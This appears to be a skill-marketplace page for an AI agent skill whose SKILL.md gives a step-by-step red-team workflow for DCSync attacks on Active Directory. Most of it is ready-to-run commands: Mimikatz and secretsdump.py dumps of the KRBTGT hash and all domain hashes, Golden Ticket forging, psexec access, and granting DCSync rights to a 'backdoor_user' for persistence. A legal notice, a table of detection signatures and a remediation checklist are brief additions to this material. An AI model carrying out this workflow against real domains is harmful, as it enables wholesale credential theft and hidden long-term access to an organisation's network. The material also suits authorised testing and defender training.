conducting-domain-persistence-with-dcsync
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
Best use case
conducting-domain-persistence-with-dcsync is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
Teams using conducting-domain-persistence-with-dcsync should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/conducting-domain-persistence-with-dcsync/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How conducting-domain-persistence-with-dcsync Compares
| Feature / Agent | conducting-domain-persistence-with-dcsync | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# Conducting Domain Persistence with DCSync
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
## Overview
DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.
## When to Use
- When conducting security assessments that involve conducting domain persistence with dcsync
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Identify accounts with DCSync (replication) rights in Active Directory
- Perform DCSync using Mimikatz or Impacket's secretsdump.py
- Extract the KRBTGT account hash for Golden Ticket creation
- Dump all domain user password hashes for credential analysis
- Forge Golden Tickets for persistent domain access
- Grant DCSync rights to a controlled account for alternative persistence
- Document the attack chain and persistence mechanisms
## MITRE ATT&CK Mapping
- **T1003.006** - OS Credential Dumping: DCSync
- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket
- **T1222.001** - File and Directory Permissions Modification: Windows
- **T1098** - Account Manipulation
- **T1078.002** - Valid Accounts: Domain Accounts
## Workflow
### Phase 1: Identify Accounts with DCSync Rights
1. Enumerate principals with replication rights:
```powershell
# Using PowerView
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replicating') -and
($_.ActiveDirectoryRights -match 'ExtendedRight') } |
Select-Object SecurityIdentifier, ObjectAceType
# Using BloodHound Cypher query
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name, d.name
```
2. Using Impacket's FindDelegation or custom LDAP query:
```bash
# Check with Impacket
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
```
3. Default accounts with DCSync rights:
- Domain Admins
- Enterprise Admins
- Domain Controllers group
- SYSTEM on Domain Controllers
### Phase 2: DCSync Credential Extraction
1. Using Mimikatz (Windows):
```powershell
# Dump specific account (KRBTGT for Golden Ticket)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
# Dump Domain Admin
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
# Dump all domain accounts
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
```
2. Using Impacket secretsdump.py (Linux):
```bash
# Dump all credentials
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
# Dump specific user
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
# Dump only NTLM hashes (no Kerberos keys)
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
# Using Kerberos authentication
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
```
### Phase 3: Golden Ticket Creation
1. Using Mimikatz with extracted KRBTGT hash:
```powershell
# Create Golden Ticket
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"
# Create with specific group memberships
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
```
2. Using Impacket ticketer.py (Linux):
```bash
# Create Golden Ticket
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
# Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
```
### Phase 4: Persistence via DCSync Rights
1. Grant DCSync rights to a controlled account for persistence:
```powershell
# Using PowerView - Add DS-Replication-Get-Changes-All rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity backdoor_user -Rights DCSync
# Verify rights were added
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
```
2. Using ntlmrelayx.py for automated DCSync rights escalation:
```bash
# Relay authentication to add DCSync rights
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
```
## Tools and Resources
| Tool | Purpose | Platform |
|------|---------|----------|
| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |
| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |
| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |
| PowerView | ACL enumeration and modification | Windows (PowerShell) |
| Rubeus | Kerberos ticket manipulation | Windows (.NET) |
| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |
## Critical Hashes to Extract
| Account | Purpose | Persistence Value |
|---------|---------|-------------------|
| krbtgt | Golden Ticket creation | Indefinite domain access |
| Administrator | Direct DA access | Immediate privileged access |
| Service accounts | Lateral movement | Service access across domain |
| Computer accounts | Silver Ticket creation | Service-level impersonation |
## Detection Signatures
| Indicator | Detection Method |
|-----------|-----------------|
| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |
| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |
| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |
| ACL modifications on domain root object | Event 5136 (directory service changes) |
| Replication traffic volume spike | Network baseline deviation monitoring |
## Validation Criteria
- [ ] Accounts with DCSync rights enumerated
- [ ] KRBTGT hash extracted via DCSync
- [ ] All domain credentials dumped successfully
- [ ] Golden Ticket forged and validated for DA access
- [ ] DCSync rights persistence mechanism established (if in scope)
- [ ] Access to Domain Controller validated with Golden Ticket
- [ ] Evidence documented with hash values and timestamps
- [ ] Remediation recommendations provided (double KRBTGT reset, ACL audit)Related Skills
performing-subdomain-enumeration-with-subfinder
Enumerate subdomains of target domains using ProjectDiscovery's Subfinder passive reconnaissance tool to map the attack surface during security assessments.
performing-malware-persistence-investigation
Systematically investigate all persistence mechanisms on Windows and Linux systems to identify how malware survives reboots and maintains access.
hunting-for-startup-folder-persistence
Detect T1547.001 startup folder persistence by monitoring Windows startup directories for suspicious file creation, analyzing autoruns entries, and using Python watchdog for real-time filesystem monitoring.
hunting-for-registry-run-key-persistence
Detect MITRE ATT&CK T1547.001 registry Run key persistence by analyzing Sysmon Event ID 13 logs and registry queries to identify malicious auto-start entries.
hunting-for-registry-persistence-mechanisms
Hunt for registry-based persistence mechanisms including Run keys, Winlogon modifications, IFEO injection, and COM hijacking in Windows environments.
hunting-for-persistence-via-wmi-subscriptions
Hunt for adversary persistence through Windows Management Instrumentation event subscriptions by monitoring WMI consumer, filter, and binding creation events that execute malicious code triggered by system events.
hunting-for-persistence-mechanisms-in-windows
Systematically hunt for adversary persistence mechanisms across Windows endpoints including registry, services, startup folders, and WMI subscriptions.
hunting-for-domain-fronting-c2-traffic
Detect domain fronting C2 traffic by analyzing SNI vs HTTP Host header mismatches in proxy logs and TLS certificate discrepancies using pyOpenSSL for certificate inspection
hunting-for-dns-based-persistence
Hunt for DNS-based persistence mechanisms including DNS hijacking, dangling CNAME records, wildcard DNS abuse, and unauthorized zone modifications using passive DNS databases, SecurityTrails API, and DNS audit log analysis.
hunting-for-dcsync-attacks
Detect DCSync attacks by analyzing Windows Event ID 4662 for unauthorized DS-Replication-Get-Changes requests from non-domain-controller accounts.
domain-name-brainstormer
Generates creative domain name ideas for your project and checks availability
detecting-wmi-persistence
Detect WMI event subscription persistence by analyzing Sysmon Event IDs 19, 20, and 21 for malicious EventFilter, EventConsumer, and FilterToConsumerBinding creation.